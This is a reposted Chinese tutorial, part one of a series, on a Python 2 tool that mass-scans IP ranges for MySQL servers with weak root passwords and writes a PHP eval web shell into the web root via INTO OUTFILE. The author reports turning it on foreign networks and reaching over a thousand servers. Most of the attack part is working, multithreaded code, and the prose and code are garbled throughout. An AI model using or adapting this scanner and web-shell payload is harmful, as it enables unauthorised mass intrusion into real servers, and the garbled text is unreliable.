加入收藏 | 设为首页 | 会员中心 | 我要投稿 河北网 (https://www.hebeiwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 业界 > 正文

高效python剧本,6小时获取上千台MySQL数据库处事器(上)

发布时间:2019-01-18 08:12:32 所属栏目:业界 来源:合天智汇
导读:01媒介 一开始,我只是想把一个AWD下的批量写马器材进级改革一下,记录一下时代的心得领会,本觉得此刻mysql弱口令毗连的裂痕很少。但当最后器材完成后,一测试扫描外国网段,半天时刻竟然就乐成毗连了上千台数据库处事器。 02因由 这个剧本最开始的构想是
副问题[/!--empirenews.page--]

01媒介

一开始,我只是想把一个AWD下的批量写马器材进级改革一下,记录一下时代的心得领会,本觉得此刻mysql弱口令毗连的裂痕很少。但当最后器材完成后,一测试扫描外国网段,半天时刻竟然就乐成毗连了上千台数据库处事器。

02因由

这个剧本最开始的构想是在AWD角逐的景象下,由于全部处事器的情形都沟通,只要查察当地的MySql用户名暗码就知道了全部处事器的MySql用户名暗码。若处事器开放了3306端口,那么操作这一个裂痕就能顺遂得到全部处事器权限。防患未然,于是就写了这个Mysql批量毗连写小马的剧本,以下是最原始的剧本(python2)。

高效python剧本,6小时获取上千台MySQL数据库处事器(上)

原始剧本-1:

  1. #!/usr/bin/envpython 
  2. #coding=utf-8 
  3. #author:Blus 
  4.  
  5. importMySQLdb 
  6. defmysql_connect1(ip,shell_url): 
  7. #实行数据库毗连 
  8. try: 
  9. conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306) 
  10. cur=conn.cursor() 
  11.  
  12. #若数据库毗连乐成,开始写马 
  13. try: 
  14. sql_insert="SELECT'<?php@eval($_POST[cmd]);?>'into outfile'{}';".format(shell_url) 
  15. #printsql_insert; 
  16.  
  17. cur.execute(sql_insert) 
  18. print"写入乐成".decode() 
  19. exceptException as e: 
  20. print"写入错误" 
  21. printe; 
  22. return 
  23. cur.close() 
  24. conn.close() 
  25.  
  26. exceptMySQLdb.Error,e: 
  27. print"Mysql_Error: %d: %s" % (e.args[0], e.args[1]) 
  28. return 
  29.  
  30. if__name__ == "__main__": 
  31. fp_ip=open('ip.txt') 
  32. shell_url= 'D:/1.PHP' 
  33.  
  34. forip in fp_ip.readlines(): 
  35. fp4=ip.replace('r',"").replace('n',"") 
  36. #url=str(fp5) 
  37. printfp4 
  38. mysql_connect1(ip,shell_url) 
  39.  
  40. print'检测竣事' 

必要安装mysqldb,可自行参考网上教程。本人windwos情形直接在

https://www.codegood.com/archives/129下载MySQL-python-1.2.3.win-amd64-py2.7.exe安装。写马的进程用到outfile函数。这只是简朴要领之一,之后会再切磋。

03打算

这个python脚原来是为AWD角逐筹备的,但其后一向没用上,最后一向躺在“兵器库”里生锈。想着既然有些过期了,就让它从头发亮。(为了利便相互进修,之后的代码中会插手大量的注释)

打算对其做以下改造:

1. 加速其速率,支持大批量扫描

2. 增进自动爆破暗码的成果

3. 增进日记记录成果

4. 代码类型简捷

04引入多线程

进级第一步,那就是加速它的速率,单线程太慢了实行多线程,同时将读取ip.txt文件改为读取IP网段,能顺应大批量的网段扫描,行使到IPy库。本人windwos情形直接pipinstall IPy 安装IPy库无报错。

首要变动了这几处:

高效python剧本,6小时获取上千台MySQL数据库处事器(上)

高效python剧本,6小时获取上千台MySQL数据库处事器(上)

以下是这次修改后的完备的代码-2:

  1. #!/usr/bin/envpython 
  2. #coding=utf-8 
  3. #author:Blus 
  4.  
  5. importMySQLdb 
  6. importthreading 
  7. importtime 
  8. importIPy 
  9.  
  10. defmysql_connect1(ip,shell_url,shell_content): 
  11. #实行数据库毗连 
  12. try: 
  13. conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306) 
  14. cur=conn.cursor() 
  15.  
  16. #若数据库毗连乐成,开始写马 
  17. try: 
  18.  
  19. sql_insert= "SELECT '{}'into outfile'{}';".format(shell_content,shell_url) 
  20. printsql_insert; 
  21.  
  22. cur.execute(sql_insert) 
  23. print"写入乐成".decode() 
  24.  
  25. exceptException as e: 
  26. print"写入错误" 
  27. printe; 
  28. return 
  29. cur.close() 
  30. conn.close() 
  31.  
  32.  
  33. exceptMySQLdb.Error,e: 
  34. print"Mysql_Error: %d: %s" % (e.args[0], e.args[1]) 
  35. return 
  36.  
  37. if__name__ == "__main__": 
  38. #内容配置 
  39. shell_url='../../../../wamp64/www/erg2313231.php'; 
  40. shell_content='<?php@eval($_POST[cmd]); ?>' 
  41. #配置同时运行的线程数 
  42. threads=25 
  43. #要检测的IP网段 
  44. ip1= IPy.IP('192.168.0.0/16') 
  45.  
  46.  
  47. forip in ip1:     
  48. ip=str(ip) 
  49. while(threading.activeCount()>threads): 
  50. time.sleep(1) 
  51. threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)).start() 
  52. print'检测竣事' 

05改进速率,增进ping函数

(编辑:河北网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读